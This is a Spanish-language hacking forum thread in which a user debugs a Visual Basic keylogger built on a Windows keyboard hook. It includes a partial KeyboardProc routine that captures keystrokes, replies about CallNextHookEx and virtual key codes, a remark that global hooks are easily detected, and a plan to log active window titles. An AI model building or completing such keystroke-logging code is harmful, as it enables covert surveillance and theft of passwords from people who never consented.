Hola. Estoy creando un keylogger. Al principio utilizaba GetAsyncKeyState, pero me di cuenta de que era mejor utilizar un hook. Estuve viendo varios códigos, por ejemplo este:
http://www.hackstore.net/forum/index.php?topic=13582.msg322430 (http://www.hackstore.net/forum/index.php?topic=13582.msg322430)
El problema es que las teclas se almacenan en un array, y lo que intenté hacer era que detectase si la variable keyCode era igual al valor de una tecla establecida, se introdujese en la variable que guarda el resultado del keylogger, pero no fui capaz. ¿Alguna idea?
Gracias de antemano.
A que te refieres con que no fuiste capaz? Te dio algun error? No supiste hacerlo? No creo que tenga mucha dificultad, al menos si preguntas lo que yo creo xD...
Bueno, aprovecho para hacer propaganda :-X, para el Ezine de CodeMakers he hecho un manual de como hacer un Keylogger con Hooks en VB, no utiliza Arrays ni nada por el estilo... no creo que tarde mucho en salir la Ezine :P
Saludos :D
No es que mostrase un error, el IDE de VB se me cerraba repentinamente y me mostraba el típico error de enviar o no el informe de errores.
Saludos.
Cita de: Karcrack en 6 Octubre 2008, 23:26 PM
Bueno, aprovecho para hacer propaganda :-X, para el Ezine de CodeMakers he hecho un manual de como hacer un Keylogger con Hooks en VB, no utiliza Arrays ni nada por el estilo... no creo que tarde mucho en salir la Ezine :P
que buenooo =D
es un buen foro tambien
El hook global de teclado funciona bien pero tiene una desventaja muy grande, con cualquier programa como ser el IceSword se puede detectar a simple vesta.
Cita de: aaronduran2 en 6 Octubre 2008, 23:28 PM
No es que mostrase un error, el IDE de VB se me cerraba repentinamente y me mostraba el típico error de enviar o no el informe de errores.
Saludos.
Bueno, supongo que te refieres a que se Crashea la IDE, sale un mensaje que no se pudo escribir en la memoria blabla?
Si es asi es porque haces el hook mal...
Saludos ;)
Sustituí el código que mencioné arriba por otro que comprobaba si el valor de keyCode era igual al valor de una tecla. Antes de hacerlo funcionaba correctamente.
Saludos.
Cita de: aaronduran2 en 7 Octubre 2008, 15:14 PM
Sustituí el código que mencioné arriba por otro que comprobaba si el valor de keyCode era igual al valor de una tecla. Antes de hacerlo funcionaba correctamente.
Saludos.
Pega el codigo actual, talvez te falta llamar al API CallNextHook...
Saludos ;)
Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'Comprobamos que se haya pulsado una tecla
If wParam = WM_KEYDOWN Then
'copiamos el codigo de la tecla(no es el ASCII , se manejan codigos aparte)
Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
keyCode = hookKey.code
Select Case keyCode
Case 8
TextoKeylogger = "[TAB]"
End Select
End If
'Si no se reconoce la tecla pulsada, se pasa de largo
KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
End Function
Solo con eso ya me falla, y se llama perfectamente a CallNextHookEx. No sé en que me equivoqué.
Saludos.
Cambia esto:
keyCode = hookKey.code
por esto:
keyCode = hookKey.vkcode
@ Freeze.
Si lo cambio me da error.
Creo que ya lo solucioné. El problema era que si ponía la función que devuelve la ventana actual, se cerraba el IDE. Ahora tengo que conseguir obtener la ventana sin que se cierre.
Gracias a todos. Saludos.
postea todo...
::)
Es el código del link que puse arriba, pero modifiqué lo que puse antes. De todas formas ya está solucionado.
Saludos.